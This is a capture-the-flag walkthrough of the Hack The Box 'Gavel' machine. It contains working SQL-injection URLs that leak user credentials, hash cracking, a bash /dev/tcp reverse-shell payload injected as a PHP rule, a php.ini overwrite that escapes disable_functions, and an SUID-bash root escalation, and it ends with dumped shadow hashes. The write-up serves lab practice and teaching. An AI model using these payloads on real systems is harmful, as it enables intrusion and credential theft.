Enum

  • Config and setup scans
  • Update /etc/hosts
$ export IP=10.129.255.89
$ echo "$IP gavel.htb" | sudo tee -a /etc/hosts
$ rustscan --ulimit 10000 -a $IP -- -sCTV -Pn
 
Open 10.129.255.89:22
Open 10.129.255.89:80
 
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN/Hhg1nYlWGdi109d6k/OXFg0xbLVuEho3xQqX/DkRDPQ5Y9P6l2XLkbsSscgiQIq3/bHeX6T4mLci0/I/kHeI=
|   256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMYFumAaeF6fOwurP+3zFG7iyLB1XC40te7RWDNVze0x
80/tcp open  http    syn-ack Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 954223287BC6EB88C5DD3C79083B91E1
| http-git:
|   10.129.255.89:80/.git/
|     Git repository found!
|     .git/config matched patterns 'user'
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: ..
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Gavel Auction
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • Revealed gavel.htb/.git so we can dump it for analysis with git-dumper
$ pip install git-dumper
$ git-dumper http://gavel.htb/.git/ gavel-repo
$ tree -L 3
.
└── gavel-repo
    ├── admin.php
    ├── assets
    │   ├── css
    │   ├── img
    │   ├── items.json
    │   ├── js
    │   └── vendor
    ├── bidding.php
    ├── includes
    │   ├── auction.php
    │   ├── auction_watcher.php
    │   ├── bid_handler.php
    │   ├── config.php
    │   ├── db.php
    │   └── session.php
    ├── index.php
    ├── inventory.php
    ├── login.php
    ├── logout.php
    ├── register.php
    └── rules
        └── default.yaml
 
9 directories, 15 files
  • We see admin.php and db.php which points us towards a foothold, we need to gain access to admin account or database to try and crack hashes
  • Visiting the website we can register a user and interact with very little

  • Seems to be a hint towards a vulnerability in the testimonies from a banned user

  • We are given 50,000 monies to bid on items which rotate out based on timers but purchasing them just adds to inventory

  • Reviewing source code from git-dumper we find vulnerabilities and useful information scattered around
  • Hard coded roles: user & auctioneer in admin.php
if (!isset($_SESSION['user']) || $_SESSION['user']['role'] !== 'auctioneer') {
    header('Location: index.php');
    exit;
}
  • mysql database attached
$ cat gavel-repo/includes/db.php
<?php
require_once __DIR__ . '/config.php';
try {
    $pdo = new PDO("mysql:host=" . DB_HOST . ";dbname=" . DB_NAME, DB_USER, DB_PASS);
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    $pdo->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, true);
} catch (PDOException $e) {
    die("Database connection failed.");
}
  • PDO Statement SQLi vulnerability within inventory.php
    • User controlled sort and user_id
    • Only literal backticks are replaced
    • $col is interpolated not parameterized
    • PDO emulation was not explicitly disabled
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
$itemMap = [];
$itemMeta = $pdo->prepare("SELECT name, description, image FROM items WHERE name = ?");
try {
    if ($sortItem === 'quantity') {
        $stmt = $pdo->prepare("SELECT item_name, item_image, item_description, quantity FROM inventory WHERE user_id = ? ORDER BY quantity DESC");
        $stmt->execute([$userId]);
    } else {
        $stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
        $stmt->execute([$userId]);
    }
    $results = $stmt->fetchAll(PDO::FETCH_ASSOC);
} catch (Exception $e) {
    $results = [];
}
  • PoC Article describes these conditions and how to exploit

  • Further along in article we have a payload structure to work with applicable to our situation

  • Accounting for the variables we have discovered, craft a URL containing payload such as:
    • Requires authenticated session
http://gavel.htb/inventory.php?sort=\?;--&user_id=x` FROM (SELECT table_name AS `'x` FROM information_schema.tables)y;--

  • We can narrow down our injection to reveal user information based on revealed structure in register.php
$stmt = $pdo->prepare("INSERT INTO users (username, password, role, created_at, money) VALUES (:username, :password, :role, :created_at, :money)");
  • Which lets us derive a payload such as this to leak user credentials:
http://gavel.htb/inventory.php?sort=\?;--&user_id=x` FROM (SELECT CONCAT(username,CHAR(10),password) AS `'x` FROM users)y;--

  • Crack the hash
$ hashcat -m 3200 '$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS' /usr/share/wordlists/rockyou.txt
 
$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS:midnight1
  • We can now login as the admin account auctioneer

User

  • With admin access we can edit rules, which is misconfigured for RCE abuse within admin.php
$rule = trim($_POST['rule'] ?? '');
$stmt = $pdo->prepare("UPDATE auctions SET rule = ?, message = ? WHERE id = ?");
$stmt->execute([$rule, $message, $auction_id]);
  • Then gets fed into bid_handler.php
$rule = $auction['rule'];
$allowed = false;
 
try {
  if (function_exists('ruleCheck')) {
	  runkit_function_remove('ruleCheck');
  }
  runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
  $allowed = ruleCheck($current_bid, $previous_bid, $bidder);
} catch (Throwable $e) {
  $allowed = false;
}
  • Whatever rule we add will be executed as PHP
  • Enter a new rule containing our payload for revshell
system('bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"'); return true;

  • Make a winning bid on the same item, which will trigger the shell so have listener ready
$ penelope -p PORT
 
www-data@gavel:/var/www/html/gavel/includes$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
 
www-data@gavel:/var/www/html/gavel$ cat /etc/passwd | grep "bash"
 
root:x:0:0:root:/root:/bin/bash
auctioneer:x:1001:1002::/home/auctioneer:/bin/bash
  • Can su auctioneer and reuse password for user flag
www-data@gavel:/var/www/html/gavel$ su auctioneer
Password: midnight1
 
auctioneer@gavel:/var/www/html/gavel$ id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)
 
auctioneer@gavel:/var/www/html/gavel$ cd ~;ls
user.txt

Root

  • We search for gavel-seller perms and discover a binary and some files in /opt that executes as root
auctioneer@gavel:~$ find / -group gavel-seller -type f 2>/dev/null
/usr/local/bin/gavel-util
 
auctioneer@gavel:~$ ls -la /usr/local/bin/gavel-util
-rwxr-xr-x 1 root gavel-seller 17688 Oct  3 19:35 /usr/local/bin/gavel-util
 
auctioneer@gavel:~$ /usr/local/bin/gavel-util
 
Usage: /usr/local/bin/gavel-util <cmd> [options]
Commands:
  submit <file>           Submit new items (YAML format)
  stats                   Show Auction stats
  invoice                 Request invoice
 
auctioneer@gavel:~$ tree /opt -a
/opt
└── gavel
    ├── .config
    │   └── php
    │       └── php.ini
    ├── gaveld
    ├── sample.yaml
    └── submission  [error opening dir]
 
4 directories, 3 files
 
auctioneer@gavel:~$ ls -la /opt/gavel
total 56
drwxr-xr-x 4 root root  4096 Nov  5 12:46 .
drwxr-xr-x 3 root root  4096 Nov  5 12:46 ..
drwxr-xr-x 3 root root  4096 Nov  5 12:46 .config
-rwxr-xr-- 1 root root 35992 Oct  3 19:35 gaveld
-rw-r--r-- 1 root root   364 Sep 20 14:54 sample.yaml
drwxr-x--- 2 root root  4096 Nov  5 12:46 submission
  • We can view sample.yaml and php.ini
auctioneer@gavel:~$ cat /opt/gavel/sample.yaml
---
item:
  name: "Dragon's Feathered Hat"
  description: "A flamboyant hat rumored to make dragons jealous."
  image: "https://example.com/dragon_hat.png"
  price: 10000
  rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
  rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"
 
 
auctioneer@gavel:~$ cat /opt/gavel/.config/php/php.ini
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
  • Can see here that we seem to be able to load a rule
  • Executes rule as PHP limited by disabled functions
  • /opt/gavel is set as basedir
  • We do not see a block on function file_put_contents
  • So perhaps we can rewrite /opt/gavel/.config/php/php.ini via malicious YAML and rule, unlocking our options.

escape.yaml

name: "asdf"
description: "asdf"
image: "asdf"
price: 69
rule_msg: "we do what we want"
rule: |
  file_put_contents('/opt/gavel/.config/php/php.ini', "engine=On
  open_basedir=/
  disable_functions=
  ");
  return false;
  • Now we load this into the program and verify execution

root.yaml

auctioneer@gavel:~$ /usr/local/bin/gavel-util submit escape.yaml
Item submitted for review in next auction
 
auctioneer@gavel:~$ cat /opt/gavel/.config/php/php.ini
engine=On
open_basedir=/
disable_functions=
  • Now we are unrestricted and can RCE as root, so we create another YAML with PHP payload (do whatever you want)
name: "asdf"
description: "asdf"
image: "asdf"
price: 69
rule_msg: "we do what we want"
rule: |
  system('chmod u+s /bin/bash'); return false;
  • SUID should flip and we can spawn root shell
auctioneer@gavel:~$ /usr/local/bin/gavel-util submit root.yaml
Item submitted for review in next auction
 
auctioneer@gavel:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14  2024 /bin/bash
 
auctioneer@gavel:~$ bash -p
 
bash-5.1$ id
uid=1001(auctioneer) gid=1002(auctioneer) euid=0(root) groups=1002(auctioneer),1001(gavel-seller)
 
bash-5.1$ cat /root/root.txt
c68e60b903ab1f6de642fa97323fb795
 
bash-5.1$ cat /etc/shadow
root:$y$j9T$F4t1iJQb1Y9atV89HlC.k.$rdYP7l6hwov0veW3K1LdYgljvILjVuoCkqlSf7OmAs3:20396:0:99999:7:::
auctioneer:$y$j9T$a4m13RlusE.ItZN9V0MQT1$N1nUleOlY2d1KmlIMvhzatvI5lBieVuAqhmgxcUbsc0:20364:0:99999:7:::